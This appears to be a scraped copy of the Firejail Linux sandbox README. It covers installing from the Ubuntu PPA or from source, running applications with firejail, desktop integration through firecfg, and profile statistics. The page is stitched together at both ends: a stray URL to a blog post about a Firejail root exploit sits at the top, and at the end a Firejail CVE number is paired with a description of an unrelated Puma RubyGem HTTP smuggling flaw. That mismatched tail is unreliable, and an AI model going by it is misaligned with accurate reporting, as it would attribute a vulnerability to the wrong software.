    https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root/
    

**Installing****Debian**

Debian stable (bullseye): We recommend to use the backports package.

**Ubuntu**

For Ubuntu 18.04+ and derivatives (such as Linux Mint), users are **strongly advised** to use the PPA.

How to add and install from the PPA:

sudo add-apt-repository ppa:deki/firejail
sudo apt-get update
sudo apt-get install firejail firejail-profiles

Reason: The firejail package for Ubuntu 20.04 has been left vulnerable to CVE-2021-26910 for months after a patch for it was posted on Launchpad:

*   firejail version in Ubuntu 20.04 LTS is vulnerable to CVE-2021-26910

See also https://wiki.ubuntu.com/SecurityTeam/FAQ:

> What software is supported by the Ubuntu Security team?
> 
> Ubuntu is currently divided into four components: main, restricted, universe and multiverse. All binary packages in main and restricted are supported by the Ubuntu Security team for the life of an Ubuntu release, while binary packages in universe and multiverse are supported by the Ubuntu community.

Additionally, the PPA version is likely to be more recent and to contain more profile fixes.

See the following discussions for details:

*   Should I keep using the version of firejail available in my distro repos?
*   How to install the latest version on Ubuntu and derivatives

**Other**

Firejail is included in a large number of Linux distributions.

Note: The firejail 0.9.52-LTS version is deprecated.

You can also install one of the released packages, or clone Firejail’s source code from our Git repository and compile manually:

    $ git clone https://github.com/netblue30/firejail.git
    $ cd firejail
    $ ./configure && make && sudo make install-strip
    

On Debian/Ubuntu you will need to install git and gcc compiler. AppArmor development libraries and pkg-config are required when using --apparmor ./configure option:

    $ sudo apt-get install git build-essential libapparmor-dev pkg-config gawk
    

For --selinux option, add libselinux1-dev (libselinux-devel for Fedora).

Detailed information on using firejail from git is available on the wiki.

**Running the sandbox**

To start the sandbox, prefix your command with firejail:

    $ firejail firefox            # starting Mozilla Firefox
    $ firejail transmission-gtk   # starting Transmission BitTorrent
    $ firejail vlc                # starting VideoLAN Client
    $ sudo firejail /etc/init.d/nginx start
    

Run firejail --list in a terminal to list all active sandboxes. Example:

    $ firejail --list
    1617:netblue:/usr/bin/firejail /usr/bin/firefox-esr
    7719:netblue:/usr/bin/firejail /usr/bin/transmission-qt
    7779:netblue:/usr/bin/firejail /usr/bin/galculator
    7874:netblue:/usr/bin/firejail /usr/bin/vlc --started-from-file file:///home/netblue/firejail-whitelist.mp4
    7916:netblue:firejail --list
    

**Desktop integration**

Integrate your sandbox into your desktop by running the following two commands:

    $ firecfg --fix-sound
    $ sudo firecfg
    

The first command solves some shared memory/PID namespace bugs in PulseAudio software prior to version 9. The second command integrates Firejail into your desktop. You would need to logout and login back to apply PulseAudio changes.

Start your programs the way you are used to: desktop manager menus, file manager, desktop launchers. The integration applies to any program supported by default by Firejail. There are about 250 default applications in current Firejail version, and the number goes up with every new release. We keep the application list in /etc/firejail/firecfg.config file.

**Security profiles**

Most Firejail command line options can be passed to the sandbox using profile files. You can find the profiles for all supported applications in /etc/firejail directory.

If you keep additional Firejail security profiles in a public repository, please give us a link:

*   https://github.com/chiraag-nataraj/firejail-profiles
    
*   https://github.com/triceratops1/fe
    

Use this issue to request new profiles: #1139

You can also use this tool to get a list of syscalls needed by a program: contrib/syscalls.sh.

We also keep a list of profile fixes for previous released versions in etc-fixes directory.

**Latest released version: 0.9.68****Current development version: 0.9.69**

Milestone page: https://github.com/netblue30/firejail/milestone/1

**Shell tab completion**

           --tab  Enable shell tab completion in sandboxes using private or whitelisted
                  home directories.
    
                  $ firejail --private --tab
    

**Profile Statistics**

A small tool to print profile statistics. Compile and install as usual. The tool is installed in /usr/lib/firejail directory. Run it over the profiles in /etc/profiles:

    $ /usr/lib/firejail/profstats /etc/firejail/*.profile
    No include .local found in /etc/firejail/noprofile.profile
    Warning: multiple caps in /etc/firejail/transmission-daemon.profile
    
    Stats:
        profiles			1184
        include local profile	1183   (include profile-name.local)
        include globals		1152   (include globals.local)
        blacklist ~/.ssh		1057   (include disable-common.inc)
        seccomp			1076
        capabilities		1178
        noexec			1064   (include disable-exec.inc)
        noroot			985
        memory-deny-write-execute	259
        apparmor			707
        private-bin			686
        private-dev			1040
        private-etc			537
        private-tmp			911
        whitelist home directory	567
        whitelist var		849   (include whitelist-var-common.inc)
        whitelist run/user		1153   (include whitelist-runuser-common.inc
    					or blacklist ${RUNUSER})
        whitelist usr/share		621   (include whitelist-usr-share-common.inc
        net none			403
        dbus-user none 		670
        dbus-user filter 		114
        dbus-system none 		824
        dbus-system filter 		10
    

**New profiles:**

onionshare, onionshare-cli, opera-developer, songrec

CVE-2020-17367: GitHub - netblue30/firejail: Linux namespaces and seccomp-bpf sandbox

In Puma (RubyGem) before 4.3.4 and 3.12.5, an attacker could smuggle an HTTP response, by using an invalid transfer-encoding header. The problem has been fixed in Puma 3.12.5 and Puma 4.3.4.

Tag

#nginx